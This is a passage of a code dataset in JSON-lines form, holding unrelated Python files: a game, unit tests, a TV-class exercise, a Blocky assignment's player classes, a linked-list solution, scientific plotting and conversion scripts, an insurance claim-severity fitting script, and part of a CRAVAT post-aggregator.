indicating winner of the game\n def printResult(self, winner):\n if winner == 1: #blue won\n text = self.text1\n elif winner == -1: #red won\n text = self.text2\n else: #draw\n text = self.text3\n\n #print appropriate text\n self.screen.blit(text, ((self.width - text.get_width()) / 2, (self.height - text.get_height()) / 2))\n\n","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":8428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"277839490","text":"import unittest\nimport flare.stats\nimport flare.task\nimport flare.resizer\nimport flare.test.unit.utils\nimport settings\nimport flare.storage\n\nclass TestStats(unittest.TestCase, flare.test.unit.utils.FileUtil):\n def __init__(self, method_name):\n unittest.TestCase.__init__(self, method_name)\n flare.test.unit.utils.FileUtil.__init__(self, settings.ROOT + \"/flare/test/images\")\n\n def setUp(self):\n self.cache = CacheMock(['127.0.0.1'])\n\n def test_task_locked_incremented_after_called(self):\n task = flare.task.TaskManager(None, None, self.cache)\n\n locked_previous = flare.stats.__GLOBAL_STATS__['counter_lock']\n\n key = \"test\"\n task.lock(key)\n\n locked_current = flare.stats.__GLOBAL_STATS__['counter_lock']\n self.assertEqual((locked_previous + 1), locked_current)\n\n def test_task_is_locked_incremented_after_called(self):\n task = flare.task.TaskManager(None, None, self.cache)\n\n is_locked_previous = flare.stats.__GLOBAL_STATS__['counter_is_locked']\n\n key = \"test\"\n task.lock(key)\n task.is_locked(key)\n\n is_locked_current = flare.stats.__GLOBAL_STATS__['counter_is_locked']\n self.assertEqual((is_locked_previous + 1), is_locked_current)\n\n def test_image_generation_and_compression_time_added(self):\n size_now = len(flare.stats.__GLOBAL_STATS__['image_generation_time'])\n resizer = flare.resizer.GraphicsMagick()\n original_image_data = self.read_file(\"/dummy100x100.jpg\")\n resized_image_data = resizer.resize(original_image_data, dict(width=50,height=50))\n size_later = len(flare.stats.__GLOBAL_STATS__['image_generation_time'])\n self.assertEqual((size_now + 1), size_later)\n\n def test_percentiles_generated(self):\n flare.stats.__GLOBAL_STATS__['image_generation_time'] = [5.273645, 5.338854, 5.439845]\n percentiles = flare.stats.percentiles()\n self.assertGreater(percentiles['generation_time_percentiles']['0.25'], percentiles['generation_time_percentiles']['0.05'])\n self.assertGreater(percentiles['generation_time_percentiles']['0.99'], percentiles['generation_time_percentiles']['0.25'])\n\nclass CacheMock:\n def __init__(self, servers):\n self.servers = servers\n self.cached_data = {}\n\n def get(self, key):\n if key in self.cached_data:\n return self.cached_data[key]\n\n return False\n\n def set(self, key, value):\n self.cached_data[key] = value\n\n def delete(self, key):\n if key in self.cached_data:\n del self.cached_data[key]\n","sub_path":"flare/test/unit/stats_test.py","file_name":"stats_test.py","file_ext":"py","file_size_in_byte":2595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"173263917","text":"class Televisao:\n def __init__(self):\n self.ligada = False\n self.canal = 1\n\n def ligar_ou_desligar(self):\n if self.ligada:\n self.ligada = False\n else:\n self.ligada = True\n\n def aumenta_numero_canal(self):\n if self.ligada:\n if self.canal <= 100:\n self.canal += 1\n else:\n print('Ja esta no canal maximo o canal 100\\n'\n 'Para mudar de canal reduza o canal no - ')\n\n def diminui_numero_canal(self):\n if self.ligada:\n if self.canal > 1:\n self.canal -= 1\n else:\n print('Ja esta no canal minimo o canal 1\\n'\n 'Para mudar de canal aumente o canal no + ')\n\nif __name__ == '__main__':\n televisao = Televisao()\n if not televisao.ligada:\n print('A televisão esta desligada')\n ligar = int(input('Ligar?\\n1:Ligar\\n2:Manter desligada\\n'))\n if ligar == 1:\n televisao.ligar_ou_desligar()\n if televisao.ligada:\n print('A televisão esta Ligada')\n if ligar == 2:\n print('A televisão continua desligada')\n print('O canal atual é: {}'.format(televisao.canal))\n televisao.aumenta_numero_canal()\n print('O canal atual é: {}'.format(televisao.canal))\n televisao.diminui_numero_canal()\n televisao.diminui_numero_canal()\n print('O canal atual é: {}'.format(televisao.canal))","sub_path":"Testes_Complexos/Projetos Python/aula7_televisao_Zero_ILumi_ver_1.0.py","file_name":"aula7_televisao_Zero_ILumi_ver_1.0.py","file_ext":"py","file_size_in_byte":1475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"497015878","text":"\"\"\"Assignment 2 - Blocky\n\n=== CSC148 Fall 2017 ===\nDiane Horton and David Liu\nDepartment of Computer Science,\nUniversity of Toronto\n\n\n=== Module Description ===\n\nThis file contains the player class hierarchy.\n\"\"\"\n\nimport random\nfrom typing import Optional\nimport pygame\nfrom renderer import Renderer\nfrom block import Block\nfrom goal import Goal\n\nTIME_DELAY = 600\n\n\nclass Player:\n \"\"\"A player in the Blocky game.\n\n This is an abstract class. Only child classes should be instantiated.\n\n === Public Attributes ===\n renderer:\n The object that draws our Blocky board on the screen\n and tracks user interactions with the Blocky board.\n id:\n This player's number. Used by the renderer to refer to the player,\n for example as \"Player 2\"\n goal:\n This player's assigned goal for the game.\n \"\"\"\n renderer: Renderer\n id: int\n goal: Goal\n\n def __init__(self, renderer: Renderer, player_id: int, goal: Goal) -> None:\n \"\"\"Initialize this Player.\n \"\"\"\n self.goal = goal\n self.renderer = renderer\n self.id = player_id\n\n def make_move(self, board: Block) -> int:\n \"\"\"Choose a move to make on the given board, and apply it, mutating\n the Board as appropriate.\n\n Return 0 upon successful completion of a move, and 1 upon a QUIT event.\n \"\"\"\n raise NotImplementedError\n\n\nclass HumanPlayer(Player):\n \"\"\"A human player.\n\n A HumanPlayer can do a limited number of smashes.\n\n === Public Attributes ===\n num_smashes:\n number of smashes which this HumanPlayer has performed\n === Representation Invariants ===\n num_smashes >= 0\n \"\"\"\n # === Private Attributes ===\n # _selected_block\n # The Block that the user has most recently selected for action;\n # changes upon movement of the cursor and use of arrow keys\n # to select desired level.\n # _level:\n # The level of the Block that the user selected\n #\n # == Representation Invariants concerning the private attributes ==\n # _level >= 0\n\n # The total number of 'smash' moves a HumanPlayer can make during a game.\n MAX_SMASHES = 1\n\n num_smashes: int\n _selected_block: Optional[Block]\n _level: int\n\n def __init__(self, renderer: Renderer, player_id: int, goal: Goal) -> None:\n \"\"\"Initialize this HumanPlayer with the given , \n and .\n \"\"\"\n super().__init__(renderer, player_id, goal)\n self.num_smashes = 0\n\n # This HumanPlayer has done no smashes yet.\n # This HumanPlayer has not yet selected a block, so set _level to 0\n # and _selected_block to None.\n self._level = 0\n self._selected_block = None\n\n def process_event(self, board: Block,\n event: pygame.event.Event) -> Optional[int]:\n \"\"\"Process the given pygame .\n\n Identify the selected block and mark it as highlighted. Then identify\n what it is that indicates needs to happen to \n and do it.\n\n Return\n - None if was not a board-changing move (that is, if was\n a change in cursor position, or a change in _level made via\n the arrow keys),\n - 1 if was a successful move, and\n - 0 if was an unsuccessful move (for example in the case of\n trying to smash in an invalid location or when the player is not\n allowed further smashes).\n \"\"\"\n # Get the new \"selected\" block from the position of the cursor\n block = board.get_selected_block(pygame.mouse.get_pos(), self._level)\n\n # Remove the highlighting from the old \"_selected_block\"\n # before highlighting the new one\n if self._selected_block is not None:\n self._selected_block.highlighted = False\n self._selected_block = block\n self._selected_block.highlighted = True\n\n # Since get_selected_block may have not returned the block at\n # the requested level (due to the level being too low in the tree),\n # set the _level attribute to reflect the level of the block which\n # was actually returned.\n self._level = block.level\n\n if event.type == pygame.MOUSEBUTTONDOWN:\n block.rotate(event.button)\n return 1\n elif event.type == pygame.KEYDOWN:\n if event.key == pygame.K_UP:\n if block.parent is not None:\n self._level -= 1\n return None\n\n elif event.key == pygame.K_DOWN:\n if len(block.children) != 0:\n self._level += 1\n return None\n\n elif event.key == pygame.K_h:\n block.swap(0)\n return 1\n\n elif event.key == pygame.K_v:\n block.swap(1)\n return 1\n\n elif event.key == pygame.K_s:\n if self.num_smashes >= self.MAX_SMASHES:\n print('Can\\'t smash again!')\n return 0\n if block.smash():\n self.num_smashes += 1\n return 1\n else:\n print('Tried to smash at an invalid depth!')\n return 0\n\n def make_move(self, board: Block) -> int:\n \"\"\"Choose a move to make on the given board, and apply it, mutating\n the Board as appropriate.\n\n Return 0 upon successful completion of a move, and 1 upon a QUIT event.\n\n This method will hold focus until a valid move is performed.\n \"\"\"\n self._level = 0\n self._selected_block = board\n\n # Remove all previous events from the queue in case the other players\n # have added events to the queue accidentally.\n pygame.event.clear()\n\n # Keep checking the moves performed by the player until a valid move\n # has been completed. Draw the board on every loop to draw the\n # selected block properly on screen.\n while True:\n self.renderer.draw(board, self.id)\n # loop through all of the events within the event queue\n # (all pending events from the user input)\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n return 1\n\n result = self.process_event(board, event)\n self.renderer.draw(board, self.id)\n if result is not None and result > 0:\n # un-highlight the selected block\n self._selected_block.highlighted = False\n return 0\n\n\nclass RandomPlayer(Player):\n \"\"\"A random (computer) player.\n\n Random players have no limit on their smashes, but if they randomly choose\n to smash the top-level block or a unit cell, neither of which is permitted,\n they forfeit their turn.\n \"\"\"\n # === Private Attributes ===\n # _selected_block:\n # The Block that the RandomPlayer has selected for action.\n\n # Attribute types\n _selected_block: Optional[Block]\n\n def __init__(self, renderer: Renderer, player_id: int, goal: Goal) -> None:\n \"\"\"Initialize a RandomPlayer.\n \"\"\"\n Player.__init__(self, renderer, player_id, goal)\n self._selected_block = None\n\n def _process_move(self) -> None:\n \"\"\"Choose a random move for the RandomPlayer and then apply it to the\n game board.\n \"\"\"\n move = random.randint(0, 4)\n\n if move == 0: # Swap horizontally\n self._selected_block.swap(0)\n elif move == 1: # Swap vertically\n self._selected_block.swap(1)\n\n elif move == 2: # Rotate clockwise\n self._selected_block.rotate(1)\n elif move == 3: # Rotate anticlockwise\n self._selected_block.rotate(3)\n\n else: # Smash\n self._selected_block.smash()\n\n def make_move(self, board: Block) -> int:\n \"\"\"Randomly choose a move to make on the given board, and apply it,\n mutating the Board as appropriate.\n\n Return 0 upon successful completion of a move.\n \"\"\"\n # Choose a random block, highlight it, and redraw the screen\n self._selected_block = choose_random_block(board)\n self._selected_block.highlighted = True\n self.renderer.draw(board, self.id)\n\n # Wait a short period of time, and then process a random move\n pygame.time.wait(TIME_DELAY)\n self._process_move()\n\n # Unhighlight the selected block and redraw the screen\n self._selected_block.highlighted = False\n self.renderer.draw(board, self.id)\n\n return 0\n\n\nclass SmartPlayer(Player):\n \"\"\"A smart (pseudo-intelligent computer) player.\n\n A smart player generates a set of random moves, and for each, checks what\n its score would be if it were to make that move. Then it picks the one that\n yields the best score.\n\n Smart players cannot smash.\n\n === Additional Attributes ===\n difficulty:\n The difficulty level of the SmartPlayer, which determines how many\n different possible moves to check in order to choose the best one.\n Possible difficulty levels and moves to check are: (0, 5), (1, 10),\n (2, 25), (3, 50), (4, 100), and (5, 150). Any difficulty level greater\n than 5 will be set to 5.\n\n === Representation Invariants ===\n - 0 <= difficulty <= 5\n \"\"\"\n # === Private Attributes ===\n # _selected_block:\n # The Block that the SmartPlayer has selected for action.\n\n # Attribute types\n difficulty: int\n _selected_block: Optional[Block]\n\n def __init__(self, renderer: Renderer, player_id: int, goal: Goal) -> None:\n \"\"\"Initialize a SmartPlayer.\n \"\"\"\n Player.__init__(self, renderer, player_id, goal)\n # To avoid changing the method signature, difficulty must be set after\n # player creation.\n self.difficulty = 0\n self._selected_block = None\n\n def _try_move(self, board: Block, move: int) -> int:\n \"\"\"Try the random move and calculate its score. The effect of\n the move is undone at the end (no net changes applied to the board).\n \"\"\"\n score = 0\n if move == 0: # Try swapping horizontally\n self._selected_block.swap(0)\n score = self.goal.score(board)\n self._selected_block.swap(0) # Undo by swapping horizontally\n elif move == 1: # Try swapping vertically\n self._selected_block.swap(1)\n score = self.goal.score(board)\n self._selected_block.swap(1) # Undo by swapping vertically\n elif move == 2: # Try rotating clockwise\n self._selected_block.rotate(1)\n score = self.goal.score(board)\n self._selected_block.rotate(3) # Undo by rotating anticlockwise\n else: # Try rotating anticlockwise\n self._selected_block.rotate(3)\n score = self.goal.score(board)\n self._selected_block.rotate(1) # Undo by rotating clockwise\n return score\n\n def _process_move(self, move: int) -> None:\n \"\"\"Apply the chosen move to the board (this was the best move that the\n SmartPlayer found).\n \"\"\"\n if move == 0: # Swap horizontally\n self._selected_block.swap(0)\n elif move == 1: # Swap vertically\n self._selected_block.swap(1)\n elif move == 2: # Rotate clockwise\n self._selected_block.rotate(1)\n else: # Rotate anticlockwise\n self._selected_block.rotate(3)\n\n def make_move(self, board: Block) -> int:\n \"\"\"Greedily choose a move to make on the given board, and apply it,\n mutating the Board as appropriate.\n\n The first found highest-scoring move is performed.\n\n Return 0 upon successful completion of a move.\n \"\"\"\n # List of number of moves to try, indexed by difficulty\n # Allows looping through different numbers of possible moves\n moves = [5, 10, 25, 50, 100, 150]\n # Default values guaranteed to be overwritten\n best_block, best_score, best_move = None, -1, -1\n\n # Try the number of moves for this difficulty level\n for _ in range(moves[self.difficulty]):\n # Choose a random board and move\n self._selected_block = choose_random_block(board)\n move_to_try = random.randint(0, 3)\n\n # Try the move, calculate the score, and undo it\n new_score = self._try_move(board, move_to_try)\n # Update best move information\n if new_score > best_score:\n best_score = new_score\n best_block = self._selected_block\n best_move = move_to_try\n\n # Best move found; highlight the block and redraw the screen\n self._selected_block = best_block\n self._selected_block.highlighted = True\n self.renderer.draw(board, self.id)\n\n # Wait a short period of time and then process the move\n pygame.time.wait(TIME_DELAY)\n self._process_move(best_move)\n\n # Unhighlight the block and redraw the screen\n self._selected_block.highlighted = False\n self.renderer.draw(board, self.id)\n\n return 0\n\n\ndef choose_random_block(board: Block) -> Block:\n \"\"\"Choose a random Block on the grid. The returned Block can be any Block,\n including the top-level Block or any unit cells.\n\n This code is used by both RandomPlayer and SmartPlayer classes, but to\n avoid code duplication, as well as changing the provided code of Player,\n it is implemented as a function instead.\n \"\"\"\n # Choose a random level and a random point within the current block\n level = random.randint(board.level, board.max_depth)\n pos = (random.randint(board.position[0], board.position[0] + board.size),\n random.randint(board.position[1], board.position[1] + board.size))\n return board.get_selected_block(pos, level)\n\n\nif __name__ == '__main__':\n import python_ta\n python_ta.check_all(config={\n 'allowed-io': ['process_event'],\n 'allowed-import-modules': [\n 'doctest', 'python_ta', 'random', 'typing',\n 'block', 'goal', 'player', 'renderer',\n 'pygame'\n ],\n 'max-attributes': 10,\n 'generated-members': 'pygame.*'\n })\n","sub_path":"src/player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":14396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"293387079","text":"#!/usr/bin/env python\n# -- coding: utf-8 --\n\"\"\"\n@AUTHOR : zlikun \n@DATE : 2019/03/01 17:03:55\n@DESC : 两数相加\n\"\"\"\n\n\nclass ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\n\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\nclass Solution:\n def addTwoNumbers(self, m: ListNode, n: ListNode) -> ListNode:\n\n if not m:\n return n\n if not n:\n return m\n\n carry = 0\n head = ListNode(None)\n curr = head\n\n while m or n:\n t = carry\n if m:\n t += m.val\n m = m.next\n if n:\n t += n.val\n n = n.next\n\n curr.val = t % 10\n carry = t // 10\n\n node = ListNode(carry)\n if m or n or carry > 0:\n curr.next, curr = node, node\n\n return head\n\n\ndef traverse(head: \"ListNode\"):\n while head:\n print(head.val, end=\"\\t\")\n head = head.next\n print()\n\n\ndef test1():\n m = ListNode(2)\n m.next = ListNode(4)\n m.next.next = ListNode(3)\n traverse(m)\n\n n = ListNode(5)\n n.next = ListNode(6)\n n.next.next = ListNode(4)\n traverse(n)\n\n traverse(Solution().addTwoNumbers(m, n))\n\n\ndef test2():\n m = ListNode(5)\n traverse(m)\n n = ListNode(5)\n traverse(n)\n\n traverse(Solution().addTwoNumbers(m, n))\n\n\nif __name__ == '__main__':\n test1()\n print('-' * 32)\n test2()\n","sub_path":"problems/0002-add-two-numbers.py","file_name":"0002-add-two-numbers.py","file_ext":"py","file_size_in_byte":1562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"476794991","text":"#!python\n\nimport numpy as np\n\nimport matplotlib.pyplot as plt\n\nn_T = input(\"Enter N_T: \")\nn_mu = input(\"Enter N_mu: \")\n\ndata = np.load('StrodthoffPhaseDiagramN_T'+str(n_T)+'N_mu'+str(n_mu)+'.npy')\np = np.load('StrodthoffPhaseDiagramN_T'+str(n_T)+'N_mu'+str(n_mu)+'params.npy')\nlam, m_lam, g, k_cutoff, k_IR, N_k, L, N, dx, T_min, T_max, N_T, mu_max, N_mu \\\n = p[0], p[1], p[2], p[3], p[4], p[5], p[6], p[7], p[8], p[9], p[10],\\\n p[11], p[12], p[13]\n\nx = np.linspace(0, L, N)\nk = np.linspace(k_cutoff, k_IR, N_k)\nu0 = 1.0/2.0*m_lam**2*x + lam/4.0*x**2\nT_array = np.linspace(5, T_max, N_T)\nmu_array = np.linspace(0, mu_max, N_mu)\nexpl_sym_br = 1750000*np.sqrt(x)\nmin_values = np.empty([len(mu_array), len(T_array)])\n\nfor m in range(len(mu_array)):\n for t in range(len(T_array)):\n min_values[m, t] = np.sqrt(np.argmin([data[m][t][-1, :] - expl_sym_br])\n * dx)\n\nmu_ax, T_ax = np.meshgrid(mu_array, T_array)\nfig = plt.figure()\nCS = plt.contourf(mu_ax, T_ax, min_values.T, 15)\nplt.title('Phase Diagram')\nplt.show()\n","sub_path":"twoColor/loadPhaseDiagram.py","file_name":"loadPhaseDiagram.py","file_ext":"py","file_size_in_byte":1059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"606424920","text":"import pdb\nimport os\nimport numpy as np\n\nimport intermol.Driver as Driver\n#import intermol.convert_md as Driver\nfrom lammps_energies import lammps_energies\nfrom helper_functions import *\n\ndef lammps_to_lammps(name, lmppath='', lmpbin='lmp_openmpi', energy=True,\n verbose=False):\n \"\"\"Test lammps to lammps conversion\n \"\"\"\n\n lmp_in = os.path.join('Inputs/Lammps/', name, 'data.lmp')\n if not os.path.isfile(lmp_in):\n raise Exception(\"File not found: {0}!\".format(lmp_in))\n\n lmp_out = os.path.join('Outputs/LammpsToLammps/', name, 'data.lmp')\n\n # calc input energies\n if energy:\n e_in = lammps_energies(name, 'in', lmppath, lmpbin, verbose)\n\n # where the magic happens\n Driver.initSystem(name)\n Driver.load(lmp_in)\n Driver.write(lmp_out)\n\n # calc output energies\n if energy:\n e_out = lammps_energies(name, 'LtoL', lmppath, lmpbin)\n\n if energy:\n return combine_energy_results(e_in, e_out)\n\nif __name__ == \"__main__\":\n from optparse import OptionParser\n\n parser = OptionParser()\n parser.add_option('-n', type='str', dest='name', default='bmim',\n help=\"Name of system\")\n parser.add_option('-l', type='str', dest='lmppath', default='',\n help=\"path for LAMMPS binary\")\n parser.add_option('-b', type='str', dest='lmpbin', default='lmp_openmpi',\n help=\"name of for LAMMPS binary\")\n parser.add_option('-e', dest='energy', action=\"store_true\",\n help=\"Evaluate energies\",default=False)\n parser.add_option('-v', dest='verbose', action=\"store_true\",\n help=\"Write LAMMPS output to screen\",default=False)\n\n\n\n (options, args) = parser.parse_args()\n name = options.name\n lmppath = options.lmppath\n lmpbin = options.lmpbin\n energy = options.energy\n verbose = options.verbose\n\n results = lammps_to_lammps(name, lmppath, lmpbin, energy, verbose)\n\n if energy:\n print_energy_summary(results)\n","sub_path":"testing/LammpsToLammps.py","file_name":"LammpsToLammps.py","file_ext":"py","file_size_in_byte":1950,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"592562658","text":"\"\"\"\nFilename: claim_size_visualizer.py\nAuthor: Alex-zh\n\nDate: 2020-04-15\n\nFrom a list of claims, provide plots of the empirical distribution to give insight/intuition to the claims seen.\n\nInput file expects the following columns ['AD_Total', 'TPPD_Total', 'TPPI_Total'] \n\"\"\"\n\nimport numpy as np\nimport pandas as pd\n\nimport matplotlib.pyplot as plt\n\nfrom scipy import stats\nfrom scipy.optimize import minimize\n\n# Parallel processing\nfrom joblib import Parallel, delayed\nimport multiprocessing\n\n# Impoort argument parser\nimport argparse\n\n# Commandline parsing init\nparser = argparse.ArgumentParser(description=\"Visualize and suggest distribution that best fits the claim severity\")\nparser.add_argument('-r', type=str, help=\"Path to file containing claims file\")\nparser.add_argument('-d', type=str, help=\"Decimal separator used in files, default is '.'\", default=\".\")\n\n# Enable limits of indemnity to remove outliers with 0 default meaning no limit\nparser.add_argument('--adl', type=int, help=\"AD severity limit\", default=0)\nparser.add_argument('--tppil', type=int, help=\"TPPI severity limit\", default=0)\nparser.add_argument('--tppdl', type=int, help=\"TPPD severity limit\", default=0)\n\nargs = parser.parse_args()\n\nfile = args.r\ndecimal_encoding = args.d\ndf = pd.read_csv(file, decimal=decimal_encoding)\n\ndef clip(x, level):\n \"\"\"\n Clips data at the maximum level, by setting all values >= level as 0\n \"\"\"\n if x >= level:\n return 0\n else:\n return x\n\n# Set limits when needed - set invalid entries to 0, so they are removed\nu_cores = int(multiprocessing.cpu_count() / 2)\nif args.adl > 0:\n temp = df['AD_Total'].values\n t_vect = Parallel(n_jobs=u_cores)(delayed(clip)(t, args.adl) for t in temp)\n df['AD_Total'] = t_vect\n\nif args.tppil > 0:\n temp = df['TPPI_Total'].values\n t_vect = Parallel(n_jobs=u_cores)(delayed(clip)(t, args.tppil) for t in temp)\n df['TPPI_Total'] = t_vect\n \nif args.tppdl > 0:\n temp = df['TPPD_Total'].values\n t_vect = Parallel(n_jobs=u_cores)(delayed(clip)(t, args.tppdl) for t in temp)\n df['TPPD_Total'] = t_vect\n\n# Require valid data (i.e. no non-positives)\ndf_new = df[df>0]\nif (len(df_new) < len(df)):\n print(\"Invalid data (non-positive values) have been found and excluded from analysis.\")\ndf = df_new\ndel df_new\n\n# Set up negative log-likelihood functions for the usual distributions: Gamma and Lognormal\n\ndef gnlogl(theta, x):\n \"\"\"\n Negative of the loglikelihood function for Gamma distribution.\n \"\"\"\n # Get the number of available processors - will utilize half\n u_cores = int(multiprocessing.cpu_count() / 2)\n\n alpha = theta[0]\n beta = theta[1]\n s_vect = Parallel(n_jobs=u_cores)(delayed(stats.gamma.logpdf)(xi, a=alpha, loc=0, scale=1/beta) for xi in x)\n return -np.sum(s_vect)\n\ndef lognorm_logl(theta, x):\n \"\"\"\n Negative of the loglikelihood function for Lognormal distribution\n \"\"\"\n # Get the number of available processors - will utilize half\n u_cores = int(multiprocessing.cpu_count() / 2)\n\n s = theta[0]\n scale = theta[1]\n s_vect = Parallel(n_jobs=u_cores)(delayed(stats.lognorm.logpdf)(xi, s=s, loc=0, scale=scale) for xi in x)\n return -np.sum(s_vect)\n\n# Function for fitting the Gamma distribution\ndef gamma_mle(series):\n alpha_start = series.mean()**2 / series.var()\n beta_start = series.mean()**2 / series.var()\n theta_start = [alpha_start, beta_start]\n\n ad_output = minimize(gnlogl, x0=theta_start, args=(series), method=\"Nelder-Mead\")\n return ad_output\n\n# Function for fitting lognormal distribution\ndef lognorm_mle(series):\n mu_start = np.mean(np.log(series.values))\n sigma_start = np.std(np.log(series.values))\n theta_start = [mu_start, sigma_start]\n\n ad_output = minimize(lognorm_logl, x0=theta_start, args=(series), method=\"Nelder-Mead\")\n return ad_output\n\nprint(\"\\n\")\nad_df = df['AD_Total'].dropna()\n\nprint(\"Fitting the Gamma distribution to the AD data\")\nad_gfit = gamma_mle(ad_df)\nad_gParams = [ad_gfit.x[0], 0, ad_gfit.x[1]]\nprint(\"Gamma shape\\t:\", format(ad_gParams[0], \".3f\"))\nprint(\"Gamma scale\\t:\", format(ad_gParams[2], \".3f\"))\n\nprint(\"Fitting the Lognormal distribution to the AD data\")\nad_lnfit = lognorm_mle(ad_df)\nad_lnParams = [ad_lnfit.x[0], 0, ad_lnfit.x[1]]\nprint(\"Lognormal mu\\t:\", format(ad_lnParams[0], \".3f\"))\nprint(\"Lognormal sigma\\t:\", format(ad_lnParams[2], \".3f\"))\n\n# TPPD Data\nprint(\"\\n\")\ntppd_df = df['TPPD_Total'].dropna()\n\nprint(\"Fitting the Gamma distribution to the TPPD data\")\ntppd_gfit = gamma_mle(tppd_df)\ntppd_gParams = [tppd_gfit.x[0], 0, 1/tppd_gfit.x[1]] # We have fitted rate, Python lib uses scale = 1/rate\nprint(\"Gamma shape\\t:\", format(tppd_gParams[0], \".3f\"))\nprint(\"Gamma scale\\t:\", format(tppd_gParams[2], \".3f\"))\n\nprint(\"Fitting the Lognormal distribution to the TPPD data\")\ntppd_lnfit = lognorm_mle(tppd_df)\ntppd_lnParams = [tppd_lnfit.x[0], 0, tppd_lnfit.x[1]]\nprint(\"Lognormal mu\\t:\", format(tppd_lnParams[0], \".3f\"))\nprint(\"Lognormal sigma\\t:\", format(tppd_lnParams[2], \".3f\"))\n\n# TPPI Data\ntppi_df = df['TPPI_Total'].dropna()\nprint(\"\\n\")\nprint(\"Fitting the Gamma distribution to the TPPI data\")\ntppi_gfit = gamma_mle(tppi_df)\ntppi_gParams = [tppi_gfit.x[0], 0, tppi_gfit.x[1]]\nprint(\"Gamma shape\\t:\", format(tppi_gParams[0], \".3f\"))\nprint(\"Gamma scale\\t:\", format(tppi_gParams[2], \".3f\"))\n\nprint(\"Fitting the Lognormal distribution to the TPPI data\")\ntppi_lnfit = lognorm_mle(tppi_df)\ntppi_lnParams = [tppi_lnfit.x[0], 0, tppi_lnfit.x[1]]\nprint(\"Lognormal mu\\t:\", format(tppi_lnParams[0], \".3f\"))\nprint(\"Lognormal sigma\\t:\", format(tppi_lnParams[2], \".3f\"))\n\n# Plot histograms (densities) with the selected fitting distributions\nfig, ax = plt.subplots(1,3, figsize=(15,5))\np = np.linspace(0.001, 0.999, 999)\n\nax[0].hist(ad_df, density=True, label=\"Empirical\", color=\"lightblue\")\nx = np.linspace(ad_df.min(), ad_df.max(), 1000)\npg = stats.gamma.pdf(x, ad_gParams[0], ad_gParams[1], ad_gParams[2])\npln = stats.lognorm.pdf(x, ad_lnParams[0], ad_lnParams[1], ad_lnParams[2])\nax[0].plot(x, pg, color=\"red\", label=\"Gamma\")\nax[0].plot(x, pln, color=\"green\", label=\"Lognormal\")\nax[0].legend()\nax[0].set_title(\"AD Claims Distribution\")\nax[0].set_xlabel(\"Claim Severity\")\nax[0].set_ylabel(\"p\")\n\nax[1].hist(tppi_df, density=True, label=\"Empirical\", color=\"lightblue\")\nx = np.linspace(tppi_df.min(), tppd_df.max(), 1000)\npg = stats.gamma.pdf(x, tppi_gParams[0], tppi_gParams[1], tppi_gParams[2])\npln = stats.lognorm.pdf(x, tppi_lnParams[0], tppi_lnParams[1], tppi_lnParams[2])\nax[1].plot(x, pg, color=\"red\", label=\"Gamma\")\nax[1].plot(x, pln, color=\"green\", label=\"Lognormal\")\nax[1].legend()\nax[1].set_title(\"TPPI Claims Distribution\")\nax[1].set_xlabel(\"Claim Severity\")\nax[1].set_ylabel(\"p\")\n\nax[2].hist(tppd_df, density=True, label=\"Empirical\", color=\"lightblue\")\nx = np.linspace(tppd_df.min(), tppd_df.max(), 1000)\npg = stats.gamma.pdf(x, tppd_gParams[0], tppd_gParams[1], tppd_gParams[2])\npln = stats.lognorm.pdf(x, tppd_lnParams[0], tppd_lnParams[1], tppd_lnParams[2])\nax[2].plot(x, pg, color=\"red\", label=\"Gamma\")\nax[2].plot(x, pln, color=\"green\", label=\"Lognormal\")\nax[2].legend()\nax[2].set_title(\"TPPD Claims Distribution\")\nax[2].set_xlabel(\"Claim Severity\")\nax[2].set_ylabel(\"p\")\nfig.show()","sub_path":"backend/claim_size_visualizer.py","file_name":"claim_size_visualizer.py","file_ext":"py","file_size_in_byte":7237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"63817947","text":"import sys\r\nimport os\r\nfrom cravat import BasePostAggregator\r\nfrom cravat import InvalidData\r\nimport sqlite3\r\n\r\nclass CravatPostAggregator (BasePostAggregator):\r\n\r\n def check(self):\r\n self.cursor.execute('select colval from info where colkey=\"_converter_format\"')\r\n return self.cursor.fetchone()[0] == 'vcf'\r\n\r\n def annotate (self, input_data):\r\n uid = str(input_data['base__uid'])\r\n q = 'select base__sample_id, base__phred, base__filter, ' +\\\r\n 'base__zygosity, ' +\\\r\n 'base__alt_reads, base__tot_reads, base__af, ' +\\\r\n 'base__hap_block, base__hap_strand from sample ' +\\\r\n 'where base__uid=' + uid\r\n self.cursor.execute(q)\r\n phreds = []\r\n filts = []\r\n zygosities = []\r\n altreads = []\r\n totreads = []\r\n afs = []\r\n hap_blocks = []\r\n hap_strands = []\r\n for row in self.cursor.fetchall():\r\n (sample, phred, filt, zygosity, altread, totread, af, hap_block, hap_strand) = row\r\n phreds.append(phred)\r\n filts.append(filt)\r\n zygosities.append(zygosity)\r\n altreads.append(altread)\r\n totreads.append(totread)\r\n afs.append(af)\r\n hap_blocks.append(hap_block)\r\n hap_strands.append(hap_strand)\r\n phred = ';'.join(['' if v == None else str(v) for v in phreds])\r\n s = list(set(phred))\r\n if len(s) == 0 or (len(s) == 1 and s[0] == ';'):\r\n phred = None\r\n filter = ';'.join(['' if v == None else str(v) for v in filts])\r\n s = list(set(filter))\r\n if len(s) == 0 or (len(s) == 1 and s[0] == ';'):\r\n filter = None\r\n zygosity = ';'.join(['' if v == None else str(v) for v in zygosities])\r\n s = list(set(zygosity))\r\n if len(s) == 0 or (len(s) == 1 and s[0] == ';'):\r\n zygosity = None\r\n alt_reads = ';'.join(['' if v == None else str(v) for v in altreads])\r\n s = list(set(alt_reads))\r\n if len(s) == 0 or (len(s) == 1 and s[0] == ';'):\r\n alt_reads = None\r\n 